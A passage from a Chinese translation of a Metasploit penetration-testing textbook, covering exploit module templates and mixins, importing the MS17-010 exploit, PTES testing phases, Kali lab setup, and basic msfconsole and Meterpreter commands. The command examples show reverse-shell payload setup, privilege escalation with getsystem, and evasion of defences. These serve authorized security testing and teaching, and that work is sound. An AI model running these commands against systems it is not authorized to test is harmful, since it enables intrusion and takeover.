在前面的示例中，我们可以访问源代码，并且我们知道变量缓冲区最多可以容纳 25 个字符。因此，为了引起缓冲区溢出，我们可以发送 30、40 或 50 个字符作为输入。然而，并非总是可能访问任何给定应用程序的源代码。因此，对于源代码不可用的应用程序，您如何确定应该发送多长的输入到特定参数，以便缓冲区溢出？这就是模糊器发挥作用的地方。模糊器是发送随机输入到目标应用程序中指定参数的小程序，并告知我们导致溢出和应用程序崩溃的输入的确切长度。

你知道吗？Metasploit 有用于模糊化各种协议的模糊器。这些模糊器是 Metasploit 框架中的辅助模块的一部分，可以在auxiliary/fuzzers/中找到。

漏洞利用模板和混合

假设您已经为一个新的零日漏洞编写了漏洞利用代码。现在，要将漏洞利用代码正式包含到 Metasploit 框架中，它必须以特定格式呈现。幸运的是，您只需要专注于实际的漏洞利用代码，然后简单地使用模板（由 Metasploit 框架提供）将其插入所需的格式中。Metasploit 框架提供了一个漏洞利用模块骨架，如下所示：

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info={})
    super(update_info(info,
      'Name'           => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
      'Description'    => %q{
        Say something that the user might need to know
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Name' ],
      'References'     =>
        [
          [ 'URL', '' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'System or software version',
            {
              'Ret' => 0x42424242 # This will be available in `target.ret`
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x00"
        },
      'Privileged'     => true,
      'DisclosureDate' => "",
      'DefaultTarget'  => 1))
  end

  def check
    # For the check command
  end

  def exploit
    # Main function
  end

end

现在，让我们试着理解前面的漏洞利用骨架中的各个字段：

• 名称字段：以供应商名称开头，然后是软件。根本原因字段指向发现错误的组件或功能，最后是模块正在利用的漏洞类型。

• 描述字段：此字段详细说明模块的功能、需要注意的事项和任何特定要求。目的是让用户清楚地了解他正在使用的内容，而无需实际查看模块的源代码。

• 作者字段：这是您插入姓名的地方。格式应为姓名。如果您想插入您的 Twitter 账号，只需将其作为注释留下，例如姓名 #Twitterhandle。

• 参考字段：这是与漏洞或漏洞利用相关的参考数组，例如公告、博客文章等。有关参考标识符的更多详细信息，请访问github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers

• 平台字段：此字段指示漏洞利用代码将支持的所有平台，例如 Windows、Linux、BSD 和 Unix。

• 目标字段：这是一个系统、应用程序、设置或特定版本的数组，您的漏洞利用的目标。每个目标数组的第二个元素是您存储目标特定元数据的位置，例如特定偏移量、小工具、ret地址等。当用户选择一个目标时，元数据将被加载并由目标索引跟踪，并可以使用目标方法检索。

• 有效载荷字段：此字段指定有效载荷应如何编码和生成。您可以指定 Space、SaveRegisters、Prepend、PrependEncoder、BadChars、Append、AppendEncoder、MaxNops、MinNops、Encoder、Nop、EncoderType、EncoderOptions、ExtendedOptions 和 EncoderDontFallThrough。

• 披露日期字段：此字段指定漏洞是在公开披露的日期，格式为 M D Y，例如，“2017 年 6 月 29 日”。

您的漏洞利用代码还应包括一个check方法，以支持check命令，但如果不可能的话，这是可选的。check命令将探测目标是否可利用漏洞。

最后，漏洞利用方法就像您的主要方法。从那里开始编写您的代码。

Metasploit 混合是什么？

如果你熟悉 C 和 Java 等编程语言，你一定听说过函数和类等术语。C 中的函数和 Java 中的类基本上都允许代码重用。这使得程序更加高效。Metasploit 框架是用 Ruby 语言编写的。因此，从 Ruby 语言的角度来看，mixin 只是一个简单的包含在类中的模块。这将使类能够访问此模块的所有方法。

因此，不需要深入了解编程细节，你只需记住 mixin 有助于模块化编程；例如，你可能想执行一些 TCP 操作，比如连接到远程端口并获取一些数据。现在，要执行这个任务，你可能需要编写相当多的代码。但是，如果你使用已有的 TCP mixin，你将节省写整个代码的工作！你只需包含 TCP mixin 并根据需要调用相应的函数。因此，你无需重新发明轮子，可以节省大量时间和精力。

你可以通过浏览/lib/msf/core/exploit目录来查看 Metasploit 框架中提供的各种 mixin，如下截图所示：

Metasploit 框架中最常用的一些 mixin 如下：

• Exploit::Remote::Tcp：此 mixin 的代码位于lib/msf/core/exploit/tcp.rb，并提供以下方法和选项：

• TCP 选项和方法

• 定义 RHOST、RPORT 和 ConnectTimeout

• connect()和disconnect()

• 创建 self.sock 作为全局套接字

• 提供 SSL、代理、CPORT 和 CHOST

• 通过小段发送进行规避

• 将用户选项公开为rhost()、rport()、ssl()等方法

• Exploit::Remote::SMB：此 mixin 的代码是从 TCP mixin 继承而来，位于lib/msf/core/exploit/smb.rb，并提供以下方法和选项：

• smb_login()

• smb_create()

• smb_peer_os()

• 提供了 SMBUser、SMBPass 和 SMBDomain 的选项

• 公开 IPS 规避方法，如SMB::pipe_evasion、SMB::pad_data_level和SMB::file_data_level

向 Metasploit 添加外部利用

每天都会发现各种应用程序和产品中的新漏洞。对于大多数新发现的漏洞，也会公开相应的利用代码。现在，利用代码通常是原始格式的（就像 shellcode 一样），不能直接使用。此外，在利用正式作为 Metasploit 框架中的模块之前可能需要一些时间。但是，我们可以手动将外部利用模块添加到 Metasploit 框架中，并像任何其他现有的利用模块一样使用它。让我们以最近被 Wannacry 勒索软件使用的 MS17-010 漏洞为例。默认情况下，MS17-010 的利用代码在 Metasploit 框架中是不可用的。

让我们从利用数据库中下载 MS17-010 模块开始。

你知道吗？www.exploit-db.com上的 Exploit-DB 是获取各种平台、产品和应用程序的新利用的最值得信赖和最新的来源之一。

只需在任何浏览器中打开www.exploit-db.com/exploits/41891/，并下载利用代码，它是以ruby (.rb)格式显示的，如下截图所示：

一旦下载了利用的 Ruby 文件，我们需要将其复制到 Metasploit 框架目录中，路径如下截图所示：

截图中显示的路径是预装在 Kali Linux 上的 Metasploit 框架的默认路径。如果你有自定义安装的 Metasploit 框架，你需要更改路径。

将新下载的漏洞利用代码复制到 Metasploit 目录后，我们将启动msfconsole并发出reload_all命令，如下面的屏幕截图所示：

reload_all命令将刷新 Metasploit 的内部数据库，以包括新复制的外部漏洞利用代码。现在，我们可以像往常一样使用use exploit命令来设置和启动新的漏洞利用，如下面的屏幕截图所示。我们只需设置变量RHOSTS的值并启动利用：

摘要

在本章的总结中，您学习了各种漏洞利用开发概念，通过添加外部漏洞利用的各种方式扩展 Metasploit Framework，并介绍了 Metasploit 漏洞利用模板和混合功能。

练习

您可以尝试以下练习：

• 尝试探索以下内容的混合代码和相应功能：

• 捕获

• Lorcon

• MSSQL

• KernelMode

• FTP

• FTP 服务器

• EggHunter

• 在www.exploit-db.com上找到目前不包含在 Metasploit Framework 中的任何漏洞利用。尝试下载并导入到 Metasploit Framework 中。

第十一章：使用 Metasploit 进行渗透测试

渗透测试是对基于计算机的系统的有意攻击，其目的是发现漏洞、安全弱点，并验证系统是否安全。渗透测试将向组织提供建议，告知其安全状况是否容易受到攻击，已实施的安全是否足以抵御任何入侵，可以绕过哪些安全控制等等。因此，渗透测试侧重于改善组织的安全状况。

成功进行渗透测试在很大程度上取决于使用正确的工具和技术。渗透测试人员必须选择正确的工具和方法来完成测试。在谈论渗透测试的最佳工具时，首先想到的是 Metasploit。它被认为是今天进行渗透测试的最有效的审计工具之一。Metasploit 提供了各种各样的利用、优秀的利用开发环境、信息收集和 Web 测试能力等等。

在从基础到精英级别介绍 Metasploit 的过程中，我们将坚持逐步方法，如下图所示：

本章将帮助您回顾渗透测试和 Metasploit 的基础知识，这将帮助您适应本书的节奏。

在本章中，您将学习以下主题：

• 渗透测试的各个阶段

• Metasploit 框架的基础知识

• Metasploit 利用和扫描模块的工作原理

• 使用 Metasploit 测试目标网络

• 使用数据库的好处

• 转向并深入内部网络

这里需要注意的一个重要点是，我们可能不会在一天内成为专业的渗透测试人员。这需要实践，熟悉工作环境，能够在关键情况下表现，最重要的是，了解我们如何在渗透测试的各个阶段之间循环。

当我们考虑在组织上进行渗透测试时，我们需要确保一切都设置正确，并符合渗透测试标准。因此，如果您觉得对渗透测试标准或术语渗透测试执行标准（PTES）不熟悉，请参考www.pentest-standard.org/index.php/PTES_Technical_Guidelines以更熟悉渗透测试和漏洞评估。根据 PTES，以下图解释了渗透测试的各个阶段：

请参考渗透测试标准网站，www.pentest-standard.org/index.php/Main_Page 设置硬件和系统化阶段，以便在设置工作环境时遵循。

组织渗透测试

在我们开始使用 Metasploit 进行复杂和复杂的攻击之前，让我们了解渗透测试的各个阶段，并看看如何在专业范围内组织渗透测试。

预交互

渗透测试的第一个阶段，预交互，涉及讨论关于在客户的组织、公司、学院或网络上进行渗透测试的关键因素，与客户本身进行讨论。这个阶段作为渗透测试人员、客户和他/她的需求之间的联系线。预交互帮助客户充分了解在他或她的网络/域或服务器上要执行的工作。

因此，测试人员将在这里充当客户的教育者。渗透测试人员还讨论测试范围，收集项目范围内所有领域的知识，以及在进行分析时可能需要的任何特殊要求。这些要求包括特殊权限，访问关键系统，网络或系统凭据等。项目的预期积极方面也应该在这个阶段与客户讨论。作为一个过程，预交互讨论以下一些关键点：

• 范围：本节审查项目的范围并估计项目的规模。范围还定义了测试的包含和排除内容。测试人员还讨论了范围内的 IP 范围和域以及测试类型（黑盒或白盒）。在白盒测试的情况下，测试人员还讨论了访问的种类和所需的凭据；测试人员还为管理员创建、收集和维护问卷。测试的时间表和持续时间，是否包括压力测试或不包括，以及付款都包括在范围内。一份一般的范围文件提供了以下问题的答案：

• 目标组织最重要的安全关注点是什么？

• 哪些特定主机、网络地址范围或应用程序应该被测试？

• 哪些特定主机、网络地址范围或应用程序明确不应该被测试？

• 是否有任何第三方拥有在范围内的系统或网络，并且他们持有哪些系统（目标组织必须事先获得书面许可）？

• 测试将在实时生产环境还是测试环境中进行？

• 渗透测试是否包括以下测试技术：网络范围的 ping 扫描、目标主机的端口扫描、目标的漏洞扫描、目标的渗透、应用程序级别的操纵、客户端 Java/ActiveX 反向工程、物理渗透尝试、社会工程？

• 渗透测试是否包括内部网络测试？如果是，如何获得访问权限？

• 客户/最终用户系统是否包含在范围内？如果是，将利用多少客户端？

• 是否允许社会工程？如果是，可能如何使用？

• 是否允许拒绝服务攻击？

• 是否允许危险检查/利用？

• 目标：本节讨论渗透测试设定的各种主要和次要目标。与目标相关的常见问题如下：

• 这次渗透测试的业务需求是什么？

• 测试是否是由监管审计要求的，还是只是标准程序？

• 目标是什么？

• 绘制漏洞地图

• 证明漏洞存在

• 测试事件响应

• 在网络、系统或应用程序中实际利用漏洞

• 以上所有内容

• 测试术语和定义：这个阶段讨论基本术语与客户，并帮助客户更好地理解这些术语

• 规则约定：本节定义测试时间、时间表、攻击权限和定期会议更新正在进行的测试的状态。与规则约定相关的常见问题如下：

• 您希望在什么时间进行这些测试？

• 在工作时间内

• 工作时间之后

• 周末时间

• 在系统维护窗口期间

• 这个测试将在生产环境中进行吗？

• 如果不应影响生产环境，是否存在可以用于进行渗透测试的类似环境（开发或测试系统）？

• 谁是技术联系人？

有关预交互的更多信息，请参阅：www.pentest-standard.org/index.php/File:Pre-engagement.png。

情报收集/侦察阶段

在情报收集阶段，您需要尽可能收集有关目标网络的信息。目标网络可能是一个网站、一个组织，或者可能是一个成熟的财富公司。最重要的是从社交媒体网络中收集有关目标的信息，并使用 Google Hacking（一种使用特定查询从 Google 中提取敏感信息的方法）来查找与待测试组织相关的机密和敏感信息。使用主动和被动攻击对组织进行足迹定位也是一种方法。

情报收集阶段是渗透测试中最关键的方面之一。对目标正确获得的知识将帮助测试人员模拟适当和准确的攻击，而不是尝试所有可能的攻击机制；它还将帮助测试人员节省相当多的时间。这个阶段将消耗测试总时间的 40%到 60%，因为获取对目标的访问主要取决于系统的足迹有多好。

渗透测试人员必须通过进行各种扫描来获取关于目标的充分了解，寻找开放端口、服务识别，并选择哪些服务可能存在漏洞以及如何利用它们进入所需的系统。

在这个阶段遵循的程序需要确定目标基础设施上当前部署的安全策略和机制，以及它们可以被规避到什么程度。

让我们用一个例子来讨论这个问题。考虑对一个客户要求进行网络压力测试的 Web 服务器进行黑盒测试。

在这里，我们将测试服务器，以检查服务器能够承受多少带宽和资源压力，或者简单来说，服务器如何响应拒绝服务（DoS）攻击。DoS 攻击或压力测试是指向服务器发送无限请求或数据的过程，以检查服务器是否能够成功处理和响应所有请求，或者导致 DoS 崩溃。如果目标服务容易受到特制请求或数据包的攻击，也可能发生 DoS。为了实现这一点，我们启动我们的网络压力测试工具，并向目标网站发起攻击。然而，启动攻击几秒钟后，我们发现服务器没有响应我们的浏览器，网站也无法打开。此外，一个页面显示网站目前处于离线状态。那么这意味着什么？我们成功地关闭了我们想要的网络服务器吗？没有！实际上，这是服务器管理员设置的一种保护机制的迹象，它察觉到我们恶意意图关闭服务器，因此导致我们的 IP 地址被禁止。因此，在发动攻击之前，我们必须收集正确的信息并确定目标处的各种安全服务。

更好的方法是从不同的 IP 范围测试 Web 服务器。也许保留两到三个不同的虚拟专用服务器进行测试是正确的方法。此外，我建议您在将这些攻击向真实目标发动之前，在虚拟环境中测试所有攻击向量。攻击向量的正确验证是强制性的，因为如果我们在攻击之前不验证攻击向量，可能会导致目标服务崩溃，这是不可取的。网络压力测试应该在参与或维护窗口的最后阶段进行。此外，向客户要求将用于测试的 IP 地址列入白名单始终是有帮助的。

现在，让我们看第二个例子。考虑对 Windows 2012 服务器进行黑盒测试。在扫描目标服务器时，我们发现端口80和端口8080是开放的。在端口80上，我们看到运行着最新版本的Internet Information Services (IIS)，而在端口8080上，我们发现运行着易受远程代码执行漏洞影响的Rejetto HFS Server的脆弱版本。

然而，当我们尝试利用这个易受攻击的 HFS 版本时，攻击失败了。这种情况是防火墙阻止恶意入站流量的典型场景。

在这种情况下，我们可以简单地改变我们连接回服务器的方式，这将建立从目标回到我们系统的连接，而不是我们直接连接到服务器。这种改变可能会更成功，因为防火墙通常被配置为检查入站流量而不是出站流量。

作为一个过程，这个阶段可以分解为以下关键点：

• 目标选择: 选择要攻击的目标，确定攻击的目标和攻击的时间。

• 隐蔽收集: 这涉及从物理场所、使用的设备和垃圾箱中收集数据。这个阶段只是定位白盒测试的一部分。

• 足迹: 足迹包括主动或被动扫描，以识别目标上部署的各种技术和软件，包括端口扫描、横幅抓取等。

• 识别保护机制：这涉及识别防火墙、过滤系统、基于网络和主机的保护等。

有关情报收集的更多信息，请参阅：www.pentest-standard.org/index.php/Intelligence_Gathering。

威胁建模

威胁建模有助于进行全面的渗透测试。这个阶段侧重于对真实威胁的建模，它们的影响以及基于它们可能造成的影响进行分类。根据情报收集阶段的分析，我们可以建模出最佳的攻击向量。威胁建模适用于业务资产分析、流程分析、威胁分析和威胁能力分析。这个阶段回答以下一系列问题：

• 我们如何攻击特定网络？

• 我们需要获得对哪些关键部分的访问权限？

• 哪种方法最适合攻击？

• 最高评级的威胁是什么？

建模威胁将帮助渗透测试人员执行以下一系列操作：

• 收集关于高级威胁的相关文档

• 根据分类基础确定组织的资产

• 识别和分类风险

• 将威胁映射到公司的资产

建模威胁将有助于定义具有风险的最高优先级资产。

考虑对公司网站进行黑盒测试。在这里，关于公司客户的信息是主要资产。在同一后端的不同数据库中，也可能存储了交易记录。在这种情况下，攻击者可以利用 SQL 注入的威胁跨越到交易记录数据库。因此，交易记录是次要资产。通过了解影响，我们可以将 SQL 注入攻击的风险映射到资产上。

漏洞扫描器如Nexpose和 Metasploit 的专业版可以通过自动化方法精确快速地建模威胁。因此，在进行广泛测试时，它可能会很有用。

有关威胁建模阶段涉及的流程的更多信息，请参阅：www.pentest-standard.org/index.php/Threat_Modeling。

漏洞分析

漏洞分析是发现系统或应用程序中缺陷的过程。这些缺陷可以从服务器到 Web 应用程序，从不安全的应用程序设计到易受攻击的数据库服务，从基于 VOIP 的服务器到基于 SCADA 的服务。这个阶段包含三种不同的机制，即测试、验证和研究。测试包括主动和被动测试。验证包括删除错误的阳性结果，并通过手动验证确认漏洞的存在。研究是指验证发现的漏洞并触发它以证明其存在。

有关威胁建模阶段涉及的过程的更多信息，请参阅：www.pentest-standard.org/index.php/Vulnerability_Analysis。

利用和后渗透

利用阶段涉及利用先前发现的漏洞。这个阶段是实际的攻击阶段。在这个阶段，渗透测试人员在系统的目标漏洞上启动利用程序以获取访问权限。这个阶段在整本书中都有详细介绍。

后渗透阶段是利用的后阶段。这个阶段涵盖了我们可以在被利用的系统上执行的各种任务，如提升权限、上传/下载文件、枢纽等。

有关利用阶段涉及的过程的更多信息，请参阅：www.pentest-standard.org/index.php/Exploitation。

有关后渗透的更多信息，请参阅www.pentest-standard.org/index.php/Post_Exploitation。

报告

在进行渗透测试时，创建整个渗透测试的正式报告是最后一个阶段。识别关键漏洞、创建图表和图形、建议和提出修复措施是渗透测试报告的重要部分。整本书的后半部分都专门讨论了报告。

有关威胁建模阶段涉及的过程的更多信息，请参阅：www.pentest-standard.org/index.php/Reporting。

搭建环境

成功的渗透测试在很大程度上取决于您的工作环境和实验室的配置。此外，成功的测试回答以下一系列问题：

• 你的测试实验室配置得如何？

• 所有测试所需的工具都齐全吗？

• 你的硬件支持这些工具有多好？

在我们开始测试任何东西之前，我们必须确保所有所需的工具集都可用并已更新。

在虚拟环境中设置 Kali Linux

在使用 Metasploit 之前，我们需要有一个测试实验室。建立测试实验室的最佳方法是收集不同的机器并在它们上安装不同的操作系统。然而，如果我们只有一个设备，最好的方法是建立一个虚拟环境。

虚拟化在今天的渗透测试中扮演着重要的角色。由于硬件成本高昂，虚拟化在渗透测试中起到了节约成本的作用。在主机操作系统下模拟不同的操作系统不仅可以节省金钱，还可以节省电力和空间。然而，建立一个虚拟渗透测试实验室可以防止对实际主机系统的任何修改，并允许我们在隔离的环境中执行操作。虚拟网络使网络利用在隔离的网络中运行，从而防止对主机系统的任何修改或使用网络硬件。

此外，虚拟化的快照功能有助于在特定时间点保留虚拟机的状态。这个功能非常有帮助，因为我们可以在测试虚拟环境时比较或重新加载操作系统的先前状态，而无需在攻击模拟后修改文件的情况下重新安装整个软件。

虚拟化期望主机系统具有足够的硬件资源，如 RAM、处理能力、驱动器空间等，以便顺利运行。

有关快照的更多信息，请参阅：www.virtualbox.org/manual/ch01.html#snapshots。

因此，让我们看看如何使用 Kali 操作系统创建虚拟环境（这是渗透测试中最受欢迎的操作系统，其中默认包含 Metasploit 框架）。

您可以随时在此处下载 Kali Linux 的预构建 VMware 和 VirtualBox 映像：www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/。

要创建虚拟环境，我们需要虚拟机软件。我们可以使用两种最流行的虚拟机软件之一：VirtualBox 和 VMware Workstation Player。因此，让我们通过执行以下步骤开始安装：

1. 下载 VMware Workstation Player（my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/14_0）并为您的机器架构设置它。

2. 运行设置并完成安装。

3. 下载最新的 Kali VM 映像（images.offensive-security.com/virtual-images/kali-linux-2017.3-vm-amd64.ova）

4. 运行 VM Player 程序，如下截图所示：

1. 接下来，转到“Player”选项卡，然后选择“文件”|“打开”。

2. 浏览到提取的 Kali Linux 的*.ova文件并单击“打开”。我们将看到以下屏幕：

1. 选择任何名称并选择存储路径（我更喜欢在具有最大可用空间的驱动器上创建一个单独的文件夹），然后单击“导入”。

2. 导入可能需要一些时间。请耐心等待，同时听听您喜欢的音乐。

3. 成功导入后，我们可以在虚拟机列表中看到新添加的虚拟机，如下截图所示：

1. 接下来，我们只需要启动操作系统。好消息是，预安装的 Kali Linux 的 VMware 映像随附有 VMware Tools，这使得诸如拖放、挂载共享文件夹等功能可以随时使用。

2. Kali Linux 的默认凭据是root:toor，其中root是用户名，toor是密码。

3. 让我们快速打开一个终端并初始化和启动 Metasploit 数据库，如下截图所示：

1. 通过发出msfconsole命令来开始 Metasploit 框架，如下截图所示：

有关 Kali Linux 的完整持久安装指南，请参阅：docs.kali.org/category/installation。

要在 Linux 中通过命令行安装 Metasploit，请参阅：www.darkoperator.com/installing-metasploit-in-ubunt/。

要在 Windows 上安装 Metasploit，请参考这里的优秀指南：www.packtpub.com/mapt/book/networking_and_servers/9781788295970/2/ch02lvl1sec20/installing-metasploit-on-windows。

Metasploit 的基础知识

自从我们回顾了渗透测试的基本阶段并完成了 Kali Linux 的设置，让我们谈谈大局；也就是 Metasploit。Metasploit 是一个安全项目，提供了漏洞利用和大量的侦察功能，以帮助渗透测试人员。Metasploit 是由 H.D. Moore 于 2003 年创建的，自那时以来，其快速发展使其被认为是最受欢迎的渗透测试工具之一。Metasploit 完全是一个由 Ruby 驱动的项目，提供了许多漏洞利用、有效载荷、编码技术和大量的后渗透功能。

Metasploit 有各种版本，如下：

• Metasploit Pro：这个版本是商业版，提供了大量出色的功能，如 Web 应用程序扫描、利用、自动利用，非常适合专业的渗透测试人员和 IT 安全团队。Pro 版主要用于专业、高级和大型渗透测试以及企业安全项目。

• Metasploit Express：express 版本用于基线渗透测试。这个版本的 Metasploit 包括智能利用、自动暴力破解凭据等功能。这个版本非常适合中小型公司的 IT 安全团队。

• Metasploit 社区：这是一个免费版本，功能较 express 版本有所减少。然而，对于学生和小型企业来说，这个版本是一个有利的选择。

• Metasploit 框架：这是一个命令行版本，包括所有手动任务，如手动利用、第三方导入等。这个版本适合开发人员和安全研究人员。

在本书中，我们将使用 Metasploit 社区和框架版本。Metasploit 还提供各种类型的用户界面，如下：

• 图形用户界面：GUI 具有所有选项，只需点击按钮即可使用。该界面提供了用户友好的界面，有助于提供更清洁的漏洞管理。

• 控制台界面：这是首选界面，也是最受欢迎的界面。这个界面提供了 Metasploit 提供的所有选项的一体化方法。这个界面也被认为是最稳定的界面。在本书中，我们将最常使用控制台界面。

• 命令行界面：命令行界面是最强大的界面。它支持启动利用活动，如有效载荷生成。然而，在使用命令行界面时记住每个命令是一项困难的工作。

• Armitage：Raphael Mudge 的 Armitage 为 Metasploit 添加了一个酷炫的黑客风格的 GUI 界面。Armitage 提供了易于管理的漏洞管理、内置 NMAP 扫描、利用建议以及使用 Cortana 脚本语言自动化功能的能力。本书的后半部分专门介绍了 Armitage 和 Cortana。

有关 Metasploit 社区的更多信息，请参阅：blog.rapid7.com/2011/12/21/metasploit-tutorial-an-introduction-to-metasploit-community/。

使用 Metasploit 进行渗透测试

在设置好 Kali Linux 之后，我们现在准备使用 Metasploit 进行第一次渗透测试。然而，在开始测试之前，让我们回顾一些 Metasploit 框架中使用的基本功能和术语。

回顾 Metasploit 的基础知识

在运行 Metasploit 之后，我们可以在 Metasploit 控制台中键入 help 或?来列出框架中所有可用的有用命令。让我们回顾一下 Metasploit 中使用的基本术语，如下所示：

• 利用: 这是一段代码，当执行时，将利用目标的漏洞。

• 有效载荷: 这是在成功利用后在目标上运行的代码。它定义了我们想要在目标系统上执行的操作。

• 辅助: 这些是提供额外功能的模块，如扫描、模糊测试、嗅探等。

• 编码器: 编码器用于混淆模块，以避免被防病毒软件或防火墙等保护机制检测到。

• Meterpreter: Meterpreter 是一种使用内存 DLL 注入分段器的有效载荷。它提供了各种功能，可在目标上执行，这使其成为一个受欢迎的选择。

现在，让我们回顾一些我们将在本章中使用的 Metasploit 的基本命令。让我们看看它们应该做什么：

命令	用法	示例
use [Auxiliary/Exploit/Payload/Encoder]	选择要开始使用的特定模块	msf>use exploit/unix/ftp/vsftpd_234_backdoor msf>use auxiliary/scanner/portscan/tcp
show [exploits/payloads/encoder/auxiliary/options]	查看特定类型的可用模块列表	msf>show payloads msf> show options
set [options/payload]	为特定对象设置值	msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.10.118 msf> set RHOST 192.168.10.112 msf> set LPORT 4444 msf> set RPORT 8080
setg [options/payload]	全局设置特定对象的值，因此在模块切换时值不会改变	msf>setg RHOST 192.168.10.112
run	在设置所有必需的选项后启动辅助模块	msf>run
exploit	启动一个利用	msf>exploit
back	取消选择模块并返回	msf(ms08_067_netapi)>back msf>
Info	列出与特定漏洞/模块/辅助相关的信息	msf>info exploit/windows/smb/ms08_067_netapi msf(ms08_067_netapi)>info
Search	查找特定模块	msf>search hfs
check	检查特定目标是否容易受到攻击	msf>check
Sessions	列出可用的会话	msf>sessions [session number]

让我们来看看基本的 Meterpreter 命令：

Meterpreter 命令	用法	示例
sysinfo	列出受损主机的系统信息	meterpreter>sysinfo
ifconfig	列出受损主机上的网络接口	meterpreter>ifconfig meterpreter>ipconfig (Windows)
arp	列出连接到目标的主机的 IP 和 MAC 地址	meterpreter>arp
background	将活动会话发送到后台	meterpreter>background
shell	在目标上放置一个 cmd shell	meterpreter>shell
getuid	获取当前用户的详细信息	meterpreter>getuid
getsystem	提升权限并获得 SYSTEM 访问权限	meterpreter>getsystem
getpid	获取 meterpreter 访问的进程 ID	meterpreter>getpid
ps	列出目标上运行的所有进程	meterpreter>ps

既然我们现在回顾了 Metasploit 命令的基础知识，让我们在下一节看看使用 Metasploit 相对于传统工具和脚本的好处。

如果您是第一次使用 Metasploit，请参考www.offensive-security.com/metasploit-unleashed/msfconsole-commands/获取有关基本命令的更多信息。

使用 Metasploit 进行渗透测试的好处

在我们深入研究一个未知网络之前，我们必须知道为什么我们更喜欢 Metasploit 而不是手动利用技术。这是因为它给人一种黑客般的终端外观，还是有其他原因？与传统的手动技术相比，Metasploit 是一个更可取的选择，因为它具有以下几个方面的特点。

开源

选择 Metasploit 框架的首要原因之一是因为它是开源的，并且在积极开发中。还有其他一些高薪工具用于进行渗透测试。然而，Metasploit 允许用户访问其源代码并添加自定义模块。Metasploit 的专业版是收费的，但出于学习的目的，大多数人更喜欢社区版。

支持测试大型网络和自然的命名约定

使用 Metasploit 很容易。然而，在这里，易用性指的是命令的自然命名约定。Metasploit 在进行大规模网络渗透测试时提供了极大的便利。考虑一个情景，我们需要测试一个拥有 200 台系统的网络。与其逐个检查每个系统，不如使用 Metasploit 自动检查整个范围。使用子网和 CIDR 值等参数，Metasploit 测试所有系统以利用漏洞，而使用手动技术，我们可能需要手动对 200 台系统启动 exploit。因此，Metasploit 节省了大量的时间和精力。

智能负载生成和切换机制

最重要的是，在 Metasploit 中切换负载很容易。Metasploit 提供了使用 set payload 命令快速更改负载的途径。因此，将 Meterpreter 或基于 shell 的访问转换为更具体的操作，比如添加用户和获取远程桌面访问，变得容易。通过使用命令行中的 msfvenom 应用程序，生成用于手动利用的 shellcode 也变得容易。

更干净的退出

Metasploit 也负责从其 compromise 的系统中更干净地退出。另一方面，自定义编码的 exploit 在退出操作时可能会导致系统崩溃。在我们知道服务不会立即重新启动的情况下，干净地退出确实是一个重要因素。

考虑一个情景，我们已经 compromise 了一个 web 服务器，当我们准备离开时，被攻击的应用程序崩溃了。服务器的预定维护时间还剩下 50 天。那么，我们该怎么办？难道要等待接下来的 50 天，等服务再次上线，这样我们才能再次利用它吗？而且，如果服务在被修补后再次上线呢？我们可能会后悔莫及。这也显示了测试技能不足的明显迹象。因此，更好的方法是使用 Metasploit 框架，它以更干净的方式退出，并提供大量的后渗透功能，比如持久性，可以帮助保持对服务器的永久访问。

GUI 环境

Metasploit 提供友好的 GUI 和第三方接口，比如 Armitage。这些接口通过提供易于切换的工作空间、即时漏洞管理和一键功能来简化渗透测试项目。我们将在本书的后面章节更多地讨论这些环境。

案例研究 - 深入研究未知网络

回顾 Metasploit 的基础知识，我们已经准备好使用 Metasploit 进行第一次渗透测试。考虑一个现场场景，我们被要求测试一个 IP 地址并检查它是否容易受到攻击。这次测试的唯一目的是确保所有适当的检查是否已经就位。情景非常简单。我们假设所有的前期交互都已经与客户完成，并且实际的测试阶段即将开始。

如果您想在阅读案例研究的同时进行实际操作，请参考重新访问案例研究部分，因为这将帮助您模拟具有精确配置和网络详细信息的整个案例研究。

情报收集

正如前面讨论的，情报收集阶段围绕着尽可能收集有关目标的信息。这包括进行主动和被动扫描，其中包括端口扫描、横幅抓取和各种其他扫描。当前情景下的目标是一个单个 IP 地址，所以在这里，我们可以跳过收集被动信息，只能继续使用主动信息收集方法。

让我们从足迹识别阶段开始，其中包括端口扫描、横幅抓取、ping 扫描以检查系统是否存活以及服务检测扫描。

进行足迹识别和扫描时，Nmap 被证明是可用的最好工具之一。Nmap 生成的报告可以轻松导入 Metasploit。然而，Metasploit 具有内置的 Nmap 功能，可以用于从 Metasploit 框架控制台执行 Nmap 扫描并将结果存储在数据库中。

有关 Nmap 扫描的更多信息，请参考nmap.org/bennieston-tutorial/。

请参考一本关于 Nmap 的优秀书籍：www.packtpub.com/networking-and-servers/nmap-6-network-exploration-and-security-auditing-cookbook。

在 Metasploit 中使用数据库

在进行渗透测试时，自动存储结果总是更好的方法。使用数据库将帮助我们建立主机、服务和渗透测试范围内的漏洞的知识库。为了实现这个功能，我们可以在 Metasploit 中使用数据库。将数据库连接到 Metasploit 还可以加快搜索速度并提高响应时间。下面的截图显示了当数据库未连接时的搜索：

我们在安装阶段看到了如何初始化 Metasploit 数据库并启动它。要检查 Metasploit 当前是否连接到数据库，我们只需输入db_status命令，如下面的截图所示：

可能会出现我们想要连接到一个单独的数据库而不是默认的 Metasploit 数据库的情况。在这种情况下，我们可以使用db_connect命令，如下面的截图所示：

要连接到数据库，我们需要提供用户名、密码和端口以及db_connect命令的数据库名称。

让我们看看其他核心数据库命令应该做什么。下表将帮助我们理解这些数据库命令：

命令	用法信息
db_connect	该命令用于与默认数据库以外的其他数据库进行交互
db_export	该命令用于导出数据库中存储的整套数据，以便创建报告或作为另一个工具的输入
db_nmap	该命令用于使用 Nmap 扫描目标，并将结果存储在 Metasploit 数据库中
db_status	该命令用于检查数据库连接是否存在
db_disconnect	该命令用于断开与特定数据库的连接
db_import	该命令用于从 Nessus、Nmap 等其他工具导入结果
db_rebuild_cache	该命令用于重新构建缓存，如果先前的缓存损坏或存储有旧的结果

